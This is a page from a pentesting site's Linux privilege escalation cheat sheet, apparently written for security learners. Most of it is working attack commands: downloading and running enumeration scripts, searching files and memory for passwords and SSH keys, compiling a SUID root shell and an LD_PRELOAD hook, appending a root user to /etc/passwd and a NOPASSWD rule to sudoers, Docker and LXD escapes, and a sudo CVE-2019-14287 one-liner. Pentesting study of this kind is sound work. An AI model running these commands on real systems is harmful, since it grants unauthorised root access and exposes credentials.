πŸ•΅οΈ
VeryLazyTech
πŸ“œ MediumπŸ›’ My ShopπŸ‘Ύ GithubπŸ“© Telegram πŸ“Ί YouTubeβœ– Twitter
  • πŸ•΅οΈWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • πŸ‘Ύ GitHub
      • πŸ“œ Medium
      • β˜• My Shop
      • πŸ“Ί YouTube
      • βœ– Twitter
      • πŸ“© Telegram
  • πŸ›‘οΈ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCβ€Š-β€ŠCVE-2025–2539 File Away <= 3.9.9.0.1β€Š-β€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • πŸ•΅οΈβ€β™‚οΈDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • πŸ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • πŸ•ΈοΈPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • πŸͺŸWindows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows andΒ Linux
  • πŸ§‘β€πŸ”§Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Tools
  • Checklist
  • System information:
  • PATH Variable & Writable Folders
  • Environment Variables
  • Kernel Exploits
  • Dmesg: Signature Verification Failed
  • More System Enumeration
  • Looting for Passwords
  • Files Containing Passwords
  • Find Sensitive Files
  • Scheduled Tasks
  • SUID
  • SUDO
  • NOPASSWD
  • LD_PRELOAD and NOPASSWD
  • Doas
  • Kernel Exploits

Was this helpful?

  1. Linux

Privilege escalation - Linux

PreviousBypassing Bash Restrictions - RbashNextLinux Environment Variables

Last updated 11 days ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • βœ– Twitter .

    • πŸ‘Ύ Github .

    • πŸ“œ Medium .

    • πŸ“Ί YouTube .

    • πŸ“© Telegram .

    • πŸ•΅οΈβ€β™‚οΈ My Site .

  • Visit our for e-books and courses. πŸ“š

Privilege escalation is a critical step in the post-exploitation phase, where attackers elevate their access to a higher privilege level. This guide will focus on practical techniques and commands to identify and exploit various privilege escalation vulnerabilities in Linux. It includes tools, methods for finding sensitive information, exploiting misconfigurations, and utilizing kernel vulnerabilities. Every method will have corresponding commands to enhance its practicality.


Tools

These tools are essential for finding and exploiting privilege escalation vulnerabilities:

  • LinPEAS: Privilege Escalation auditing script.

    wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
    chmod +x linpeas.sh
    ./linpeas.sh
  • Linux Exploit Suggester: Suggests potential exploits based on system vulnerabilities.

    wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
    chmod +x linux-exploit-suggester.sh
    ./linux-exploit-suggester.sh
  • Pspy: Monitors processes without root access.

    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
    chmod +x pspy64
    ./pspy64

Checklist

System information:

  • Gather system information:

    uname -a
    cat /etc/*release
    id
  • Check running processes:

    ps aux
  • Check kernel version: Kernel Exploits

    uname -r
  • List users on the system:

    cat /etc/passwd
  • Check available shell history:

    cat ~/.bash_history

PATH Variable & Writable Folders

  • Check if any folder in the PATH is writable:

    echo $PATH
    ls -ld $(echo $PATH | tr ":" "\n") | grep "w"

Environment Variables

  • Check environment variables for sensitive information:

    env

Kernel Exploits

  • Search for kernel exploits using scripts (e.g., DirtyCow):

    ./linux-exploit-suggester.sh
  • Check for specific kernel exploits like DirtyCow:

    https://github.com/dirtycow/dirtycow.github.io
  • Check if the sudo version is vulnerable:

    sudo -V

Dmesg: Signature Verification Failed

Look for kernel errors or issues related to signature verification:

dmesg | grep -i signature

More System Enumeration

Check System Information (Date, System Stats, CPU Info)

  • Date and Time: (Helps you synchronize your actions with scheduled jobs or detect potential time-based misconfigurations)

    date
  • CPU info: (Identifies the system architecture to tailor exploits to the specific processor type)

    cat /proc/cpuinfo
  • Check for printers: (Identifies networked printers, which could be exploited for lateral movement or sensitive data interception)

    lpstat -p
  • Check for writable files:

    find / -writable -type f 2>/dev/null

Looting for Passwords

Files Containing Passwords

Common files where passwords are stored:

grep -r "password" /etc/* 2>/dev/null
grep -r "PASSWORD" /etc/* 2>/dev/null

Old Passwords in /etc/security/opasswd

cat /etc/security/opasswd

Last Edited Files

find / -type f -printf '%TY-%Tm-%Td %TT %p\n' 2>/dev/null | sort -r | head

In-Memory Passwords

Dump memory to search for passwords:

strings /dev/mem | grep -i password

Find Sensitive Files

SSH Key

Search for SSH keys on the system:

find / -name "id_rsa" 2>/dev/null


Scheduled Tasks

Cron Jobs

Check cron jobs:

bashCopy codecat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs

If you find a writable cron job, you can inject your own commands.

Systemd Timers

List systemd timers that could be manipulated:

systemctl list-timers

SUID

SUID binaries run with elevated privileges:

find / -perm -4000 -type f 2>/dev/null

Create a SUID Binary

If you can create a SUID binary, you can escalate privileges:

cCopy code#include <stdio.h>
#include <unistd.h>

int main() {
    setuid(0);
    system("/bin/bash");
    return 0;
}

Compile and set SUID:

gcc -o suid_binary suid_binary.c
chmod +s suid_binary

Capabilities

List Capabilities of Binaries

Linux capabilities allow binaries to perform privileged operations:

getcap -r / 2>/dev/null

Edit Capabilities

If you find writable binaries with capabilities:

tcap cap_setuid+ep /path/to/binary

Interesting Capabilities

Look for binaries with capabilities like cap_setuid, cap_dac_override, or cap_sys_admin that can help escalate privileges.


SUDO

NOPASSWD

Look for sudo privileges without requiring a password:

sudo -l

LD_PRELOAD and NOPASSWD

Use LD_PRELOAD to exploit vulnerable binaries:

bashCopy codeecho 'int getuid() {return 0;}' > preload.c
gcc -shared -o preload.so preload.c -fPIC
sudo LD_PRELOAD=./preload.so /path/to/command

Doas

Doas is an alternative to sudo. Check if it's configured:

doas -s

Writable Files

Writable /etc/passwd

If /etc/passwd is writable, you can modify it to create a new user:

echo 'hacker:x:0:0:hacker:/root:/bin/bash' >> /etc/passwd

Writable /etc/sudoers

If writable, add a new sudo rule:

echo 'hacker ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

NFS Root Squashing

If root squashing is disabled, mount the NFS share and escalate privileges:

mount -o rw,vers=3 nfs_server:/share /mnt

Shared Library Exploits

ldconfig

Check for writable paths in ldconfig:

ldconfig -p

RPATH

RPATH allows binaries to specify search paths for libraries. If vulnerable, this can be exploited by injecting malicious libraries.


Docker and LXC/LXD

Docker

If the user is part of the docker group, they can escalate privileges:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXC/LXD

Exploit LXD by importing an image:

lxc image import ./rootfs.tar.xz --alias privesc
lxc init privesc privesc-container -c security.privileged=true
lxc start privesc-container
lxc exec privesc-container /bin/sh

Hijack TMUX Session

If a TMUX session is running as root, hijack it:

tmux ls
tmux attach -t <session-id>

Kernel Exploits

CVE-2022-0847 (DirtyPipe)

Exploit DirtyPipe for privilege escalation:

https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

CVE-2016-5195 (DirtyCow)

Exploit DirtyCow for privilege escalation:

https://github.com/dirtycow/dirtycow.github.io

CVE-2010-3904 (RDS)

RDS socket vulnerability:

https://www.exploit-db.com/exploits/15285

CVE-2010-4258 (Full Nelson)

Full Nelson exploit for privilege escalation:

https://www.exploit-db.com/exploits/15704

CVE-2019-14287

This exploit allows for privilege escalation if a misconfigured sudo is in place:

sudo -u#-1 /bin/bash

CVE-2012-0056 (Mempodipper)

Mempodipper is a kernel exploit for privilege escalation:

https://www.exploit-db.com/exploits/18411

Find SUID Binaries ()

🐧
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
https://gtfobins.github.io/